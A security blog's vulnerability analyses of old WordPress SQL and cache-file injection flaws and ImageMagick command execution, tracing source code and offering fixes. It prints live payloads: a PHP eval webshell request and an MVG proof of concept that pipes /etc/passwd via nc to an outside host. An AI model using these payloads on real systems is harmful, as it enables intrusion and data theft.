分类 信息安全 下的文章

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.2

  • 严重程度:高危

基础知识

想要分析这个漏洞首先要了解xmlrpc的相关知识.

什么是xmlrpc?

xml rpc是使用http协议做为传输协议的rpc机制,使用xml文本的方式传输命令和数据调用远程的方法。

用wordpress xmlrpc.php的sayHello函数来演示一个例子

发送以下的xmlrpc数据包到wordpress的xmlrpc.php路径上,wordpress就会返回返回一个xmlrpc Response

POST /xmlrpc.php HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Content-Length: 114

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>demo.sayHello</methodName>
</methodCall>

这是上面一个请求返回的数据包

E31985B9-FD8A-4813-B32E-5A80ABDA8DB9.png

我们可以看见在<string></string>标签中返回了一个Hello!

所以想要调用它的过程,只要遵循xmlrpc协议格式,例如以下

<?xml version="1.0"?>
<methodCall>
  <methodName></methodName>
  <params>
    <param>
        <value></value>
    </param>
  </params>
</methodCall>

漏洞分析正文

首先根据exp来定位漏洞点

<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>1'</string></value></param>
<param><value><string>http://wordpress1.5.1/?p=1#1</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall>

上面这个xml文件是这个exp最核心的地方,我把原exp中填充payload的地方换成了1'

返回了如下数据,在这里可以看到返回数据库的错误提示信息

6A97CEB7-6745-48B9-BD52-E90070EC2449.png

来看一下整个执行流程

8D317E7F-120B-4BC2-94C7-98C5958030AD.png

#8中实例化了wp_xmlrpc_server()类,wp_xmlrpc_server()类是wordpress对IXR库的扩展,里面定义了wordpress xmlprc的API.

#3开始,流程就进入了wordpress所添加的api ->pingback_ping()中.

参数赋值语句

$pagelinkedfrom = $args[0];

args[0]哪来的?args是class IXR_Message中parse()函数处理之后返回的.

$data = $HTTP_RAW_POST_DATA;

$this->message = new IXR_Message($data);
        if (!$this->message->parse()) {
            $this->error(-32700, 'parse error. not well formed');
        }

我把上面的代码段给摘录出来,parse()解析了标签里面的内容.

解析出来的内容也就是args[0]直接赋值给了pagelinkedfrom没有经过任何处理直接拼接进了sql语句中.

        $result = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$post_ID' AND comment_author_url = '$pagelinkedfrom'");

导致的注入.

如果是导致数据库出错的sql语句可以看见它的内容不在xmlrpc response的标签里面

A89E1453-DE26-4594-91A5-843C2AA7BF30.png

因为调用到this->query()的函数中调用到了一个$this->print_error();函数.

这个函数是当发生数据库错误的时候显示上一条查询的sql语句

    function print_error($str = '') {
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

所以说就是报错语句没有在xml里面的原因了

WordPress <= 1.5.1.1-(wp-includes/functions.php:555)注入

WordPress <= 1.5.1.1 - SQL注入分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.1

  • 严重程度:高危

简要

在Wordpress调用模版时候,其功能之一是在右侧显示当前存档的类型,进行对应类型查询的时候没有使用干净的参数导致注入

正文

首先将断点下在问题点追寻处理流程

如下:
C3110BB5-4E9D-45E1-B40E-3A3E031C4AD2.png

这是最后参数被污染之后所处的位置

546EC9F9-E58D-453F-846F-3BDF73FC1D9E.png

为了理解wordpress的漏洞就要研究wordpress的整个处理流程.

我们可以看到#8中的代码

index.php

<?php 
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

很简单的两行代码

Short and sweet:grinning:

包含了wp-blog-header.php

wp-blog-header.php主要进行了一些配置文件的初始化,以及对 GET传入的参数进行了构建。

构建好参数之后经过处理,应用到对应的模板上面.

构建参数在主要是如下代码

// Call query posts to do the work.

    $posts = &query_posts($query_string);

query_posts()函数的函数原型,如下:

function &query_posts($query) {
    global $wp_query;
    return $wp_query->query($query);
}

query_posts申明了一个$wp_query的全局变量,这是很重要的一个全局变量.

query()函数原型,如下:

    function &query($query) {
        $this->parse_query($query);
        return $this->get_posts();
    }

query函数做了对参数的解析赋值,之后return调用了一个get_posts()函数这个函数做了很多拼接并进行数据库查询语句的动作.

我还发现了,在#4中的load_template()

function load_template($file) {
    global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
        $wp_rewrite, $wpdb;

    extract($wp_query->query_vars);

    require_once($file);
}

这里的extract($wp_query->query_vars);貌似是一段废代码,因为$wp_query->query_varsNULL,extract()接受的参数是array.

#29E14F734-4D79-4D7F-A356-9F4FFA32B805.png

这个函数从$wp_query中取出了cat参数被污染的值,并且最终传入了functions.php中的get_category()拼接的语句中执行了注入的语句.

D651BF01-6F92-4489-9443-F775DBF723C0.png

WordPress <= 2.0.2 - (cache) 代码注入分析

WordPress <= 2.0.2 - (cache) Remote Shell Injection Exploit

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 2.0.2

  • 严重程度:高危

简要

这个漏洞问题出在WordPress生成的序列化后的缓存文件中.因为缓存文件的后缀为php,文件的内容可控,并且文件名在一定条件下可预见,所以在一定条件下可以getshell

正文

首先下断点在生成问题文件的地方

程序流程图

59B30757-C04B-4CA4-A53C-4DAC4A949B7F.png

出问题的是
wp-includes/cache.php
文件中的save()函数

save()函数序列化了用户的资料之后再保存到
wp-content/cache/userlogins,wp-content/cache/users这两个目录底下,因为序列化后的文件的后缀是.php所以只要想办法插入我们的恶意代码并且让PHP-cgi执行就好了.

                $cache_file = $group_dir . md5($id . DB_PASSWORD) . '.php';
                // Remove the cache file if the key is not set.
                if (!isset ($this->cache[$group][$id])) {
                    if (file_exists($cache_file))
                        @ unlink($cache_file);
                    continue;
                }

save()函数中生成的缓存文件名方法是md5($id . DB_PASSWORD).所以我们需要知道$id与DB_PASSWORD.

$id的其中一个值就是管理员的帐号,一般都有一个帐号叫做admin.所以md5('admin'.'数据库密码')就是包涵恶意代码的文件名.

因为写入的文件内容由//开头

9BF92DB3-5D7C-4107-819D-FCAF6F58AC1A.png

如果不输入一个换行符的话,会被始终认为其后的内容是注释,所以需要加入回车符号,经过url编码后的回车符号是%0D并且需要在后面再加上//防止后面序列化的字符被程序认为是我们想要执行的代码,所以最终的payload就是

//%0D@eval($_POST['c']);%0D//

这个漏洞的利用条件是:

  1. 文件夹有写入权限

  2. cache功能打开

  3. 知道用户的ID与数据库密码(可能为空)

发送以下完整payload,就可以在wp-content/cache/userlogins或者wp-content/cache/users/中getshell了

from=profile&checkuser_id=1&user_login=admin&first_name=123&last_name=&nickname=test&display_name=//%0D @eval($_POST['c']);%0D//&email=admin@example.com&url=http%3A%2F%2F&aim=&yim=&jabber=&description=&pass1=&pass2=&rich_editing=true&submit=Update+Profile+%C2%BB

修复方案:
1.将生成的文件命名为不可执行后缀例如.txt

ImageMagick另一个命令执行--popen_utf8()函数

心情杂谈

哎哎哎,老司机一言不合就爆洞啊,这个洞在之前分析CVE-2016-3714的时候也发现了,结果被捂烂了...心塞塞~那我就写一下当时是怎么发现怎么这个洞...

漏洞分析正文

之前在分析CVE-2016-3714的时候想,system()函数处理有问题,那么其他类似的有哪些函数呢?

下面是一个可以执行命令的函数列表:

system()

popen()

fork()+exec()

execl()

那么搜索一下调用system()函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system(). 那这么接下来搜索一下popen()函数调用点

文件:magick/blob.c:2503行

#if defined(SIGPIPE)
      if (*type == 'w')
        (void) signal(SIGPIPE,SIG_IGN);
#endif
      *mode=(*type);
      mode[1]='\0';
      image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
      if (image->blob->file_info.file == (FILE *) NULL)
        {
          ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
          return(MagickFalse);
        }
      image->blob->type=PipeStream;
      image->blob->exempt=MagickTrue;
            return(SetStreamBuffering(image_info,image));
    }

我们可以看到有一个popen_utf8()函数.

跟进函数文件:magick/utility-private.h:173行

static inline FILE *popen_utf8(const char *command,const char *type)
{
#if !defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__MINGW64__)
  return(popen(command,type));
#else
   FILE
     *file;

   wchar_t
     *type_wide,
     *command_wide;

   command_wide=create_wchar_path(command);
   if (command_wide == (wchar_t *) NULL)
     return((FILE *) NULL);
   type_wide=create_wchar_path(type);
   if (type_wide == (wchar_t *) NULL)
     {
       command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
       return((FILE *) NULL);
     }
   file=_wpopen(command_wide,type_wide);
   type_wide=(wchar_t *) RelinquishMagickMemory(type_wide);
   command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
   return(file);
#endif
}

可以看见popen_utf8()直接return了popen()函数的值回来.

那么问题来了,谁调用了popen_utf8呢?

向上追溯代码可以看到是OpenBlob()函数调用了popen_utf8.继续查看谁调用了OpenBlob()

8248DCA8-27B0-46A0-A5EE-25C3EA3BB8FF.png
我们可以看到一堆地方调用到了OpenBlob(),看到一个眼熟的地方!

使用GDB反调会让眼熟的地方明显一点

5B98ABC0-8703-43CC-A6C4-53B19D9BBD8F.png
可以看到流程中有constitute.c调用到OpenBlob().而之前分析的时候也经常看constitute.c,很明显会选择先看这个地方的调用有没有问题.

constitute.c:448行

可以看到status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.

OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

在这个函数中image_info,image两个参数的值都是由我们传进去的.

OpenBlob函数先进行了Policy的检测

if (*type == 'w')
    rights=WritePolicyRights;
  if (IsRightsAuthorized(PathPolicyDomain,rights,filename) == MagickFalse)
    {
      errno=EPERM;
      (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
        "NotAuthorized","`%s'",filename);
      return(MagickFalse);
    }

最重要的一段在如下代码

if (*filename == '|')
   {
     char
       mode[MaxTextExtent];

     /*
       Pipe image to or from a system command.
     */
#if defined(SIGPIPE)
     if (*type == 'w')
       (void) signal(SIGPIPE,SIG_IGN);
#endif
     *mode=(*type);
     mode[1]='\0';
     image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
     if (image->blob->file_info.file == (FILE *) NULL)
       {
         ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
         return(MagickFalse);
       }

因为*filename指向指针的第一个字符,如果第一个字符是|那么就调用popen_utf8()去打开文件.

所以我们要控制的就是|后面的字符.如果我们想要控制这里的filename就意味着我们需要传入的文件的名称|+你要执行的命令

经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows底下应该是不能用|作为文件的名字的,所以还是把payload写在文件里面比较好.

通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.

官方文档

可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()

例如以下操作:

D51CD2F4-9C55-48D5-B28D-5B1551B4C4E8.png

29336A5F-27D6-442F-86CF-C49C720A1AF9.png

C973A35E-D2D6-43AA-A6DF-D43D0F8FEB3B.png

F4958AC8-5D13-49B2-99E8-61175C9BFDCE.png

638AF5AD-254B-47F4-A61C-4FAE898046F7.png

Poc使用image over这个原语.

那么Poc就出来了

1.mvg文件中

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|cat /etc/passwd|nc lonelyrain.me 9999'
pop graphic-context

然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd

这个漏洞有兴趣的同学可以去再找一下其它玩法...

Imagetragick(CVE-2016-3714)执行过程,漏洞分析以及修复方案

什么是ImageMagick

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

漏洞分析正文

这次披露的是ImageMagick的一个命令执行漏洞。首先定位到最终漏洞代码执行的地方,老外给出的poc是在一个文件内填充以下字符命名为.mvg格式

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"ls "-la)'
pop graphic-context

我以POC为一个切入点,分析POC的执行过程。

imagetragic_2.png
首先从入口函数CovertMain()开始,在第81行MagickCommandGenesis()的第二个参数传入了ConvertImageCommand这个变量,这个变量是一个函数指针,指向了ConvertImageCommand()的函数首地址。所以MagickCommandGenesis()实现了函数的动态调用(非常好的写法)。

文件:wand/delegate.c:417行

imagetragic_3.png
的函数ExternalDelegateCommand()中调用了system()函数,执行了我们注入的命令。

整个执行流程是

ConvertMain() -> MagickCommandGenesis() -> ConvertImageCommand() -> ReadImages() -> ReadImage() -> ReadMVGImage() -> DrawImage() ->ReadImage() -> InvokeDelegate() -> system()

ConvertImageCommand() -> ReadImages() -> ReadImage()这一段主要做了读取判断文件名类型,根据文件类型调用相应的decoder,而调用decoder的方式使用的是delegate模式。

在coders/mvg.c:67行中

有一个IsMVG()函数

if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
    return(MagickTrue);

这一段读取了文件前20个字符,判断是否是一个MVG格式的图片,

viewbox 0 0 640 480主要由文件:coders/mvg.c:170-204处理。

处理fill字段就是出问题的地方, 当mvg文件有fill字段代表需要填充外部的图片进当前的图片,pattern_info->filename就是从`fill`中解析出来的填充文件的字符串

imagetragic_4.png
magick/delegate.c

中的InvokeDelegate()进行了调用了ExternalDelegateCommand()执行外部命令。

[题外话:可以看出来这个功能使用了delegate代理模式(对方法的封装)]

在调用前实际上是对当前种类的请求方法,相应的权限进行了判断

if (IsRightsAuthorized(domain,rights,read_info->magick) == MagickFalse)
  {
    errno=EPERM;
    (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
      "NotAuthorized","`%s'",read_info->filename);
    read_info=DestroyImageInfo(read_info);
    return((Image *) NULL);
  }

并不是像网上说的这个程序一点安全都没有做

并且在delegate.c中也有对权限的检测。

if (IsRightsAuthorized(DelegatePolicyDomain,rights,encode) == MagickFalse)
  {
    errno=EPERM;
    (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
      "NotAuthorized","`%s'",encode);
    return(MagickFalse);
  }

并且在delegate.c中定义了合法字符的白名单,问题有一部分出在白名单这。

static char
  whitelist[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_- "
    ".@&;<>()|/\\\'\":%=~`";
...
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
  *p='_';
return(sanitize_command);

我们可以看到不在白名单中的字符全部会被替换成_,但是官方却把|;放在了白名单中,导致了可以执行多个命令.......

所以,经过以上的流程分析,可以有两种修复方法:

1.设置Policy文件

policy.xml

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

来自imagetragick.com

2.如果不需要一些不常用的delegate里面的功能只保留https这个功能的话,去掉whitelist[] 里面的管道符号|,还有;号等特殊符号

可以看到去掉白名单里面的;|之后,命令执行已经不成功了:/

相应的,想要发掘对应的delegate可以有什么样的利用,可以去执行具以下具体的委托

<delegatemap>
  <delegate decode="autotrace" stealth="True" command="&quot;convert&quot; &quot;%i&quot; &quot;pnm:%u&quot;\n&quot;autotrace&quot; -input-format pnm -output-format svg -output-file &quot;%o&quot; &quot;%u&quot;"/>
  <delegate decode="blender" command="&quot;blender&quot; -b &quot;%i&quot; -F PNG -o &quot;%o&quot;&quot;\n&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/>
  <delegate decode="browse" stealth="True" spawn="True" command="&quot;xdg-open&quot; http://www.imagemagick.org/; rm &quot;%i&quot;"/>
  <delegate decode="cdr" command="&quot;uniconvertor&quot; &quot;%i&quot; &quot;%o.svg&quot;; mv &quot;%o.svg&quot; &quot;%o&quot;"/>
  <delegate decode="cgm" thread-support="False" command="&quot;ralcgm&quot; -d ps -oC &lt; &quot;%i&quot; &gt; &quot;%o&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate decode="dvi" command="&quot;dvips&quot; -q -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="dng:decode" command="&quot;ufraw-batch&quot; --silent --create-id=also --out-type=png --out-depth=16 &quot;--output=%u.png&quot; &quot;%i&quot;"/>
  <delegate decode="dot" command='&quot;dot&quot; -Tsvg &quot;%i&quot; -o &quot;%o&quot;' />
  <delegate decode="edit" stealth="True" command="&quot;/etc/alternatives/x-terminal-emulator&quot; -title &quot;Edit Image Comment&quot; -e vi &quot;%o&quot;"/>
  <delegate decode="eps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="eps" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="fig" command="&quot;fig2dev&quot; -L ps &quot;%i&quot; &quot;%o&quot;"/>
  <delegate decode="plt" command="&quot;echo&quot; &quot;set size 1.25,0.62; set terminal postscript portrait color solid; set output \'%o\'; load \'%i\'&quot; &gt; &quot;%u&quot;;&quot;gnuplot&quot; &quot;%u&quot;"/>
  <delegate decode="hpg" command="&quot;hp2xx&quot; -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;;     mv -f `basename &quot;%o&quot;` &quot;%o&quot;"/>
  <delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then     hp2xx -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;;     mv -f `basename &quot;%o&quot;` &quot;%o&quot;;   else     echo &quot;You need to install hp2xx to use HPGL files with ImageMagick.&quot;;     exit 1;   fi"/>
  <delegate decode="htm" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="html" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
  <delegate decode="ilbm" command="&quot;ilbmtoppm&quot; &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="man" command="&quot;groff&quot; -man -Tps &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="mpeg:decode" command="&quot;ffmpeg&quot; -v -1 -i &quot;%i&quot; -vframes %S -vcodec pam -an -f rawvideo -y &quot;%u.pam&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate encode="mpeg:encode" stealth="True" command="&quot;ffmpeg&quot; -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i &quot;%M%%d.jpg&quot; &quot;%u.%m&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate decode="sid" command="&quot;mrsidgeodecode&quot; -if sid -i &quot;%i&quot; -of tif -o &quot;%o&quot; &gt; &quot;%u&quot;"/>
  <delegate decode="pcl:color" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pcl:cmyk" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pamcmyk32&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pcl:mono" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pdf" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="pdf" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="tiff" encode="launch" mode="encode" command="&quot;gimp&quot; &quot;%i&quot;"/>
  <delegate decode="pnm" encode="ilbm" mode="encode" command="&quot;ppmtoilbm&quot; -24if &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="pov" command="&quot;povray&quot; &quot;+i%i&quot; -D0 &quot;+o%o&quot; +fn%q +w%w +h%h +a -q9 &quot;-kfi%s&quot; &quot;-kff%n&quot;;&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/>
  <delegate decode="ps" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="ps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="ps" encode="print" mode="encode" command="lpr &quot;%i&quot;"/>
  <delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:cmyk" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pam&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:color" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pnmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:mono" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="rgba" encode="rle" mode="encode" command="&quot;rawtorle&quot; -o &quot;%o&quot; -v &quot;%i&quot;"/>
  <delegate decode="scan" command="&quot;scanimage&quot; -d &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="scanx" command="&quot;scanimage&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>
  <delegate decode="shtml" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="svg" command="&quot;rsvg-convert&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="txt" encode="ps" mode="bi" command="&quot;enscript&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="miff" encode="win" stealth="True" spawn="True" command="&quot;/usr/bin/display&quot; -immutable -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>
  <delegate decode="wmf" command="&quot;wmf2eps&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="xps:color" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="xps:cmyk" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=bmpsep8&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="xps:mono" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
</delegatemap>

B487FA86-DEA2-4A3F-9AA3-E2AA9A2D1170.png
Reference:

囧囧有神的博客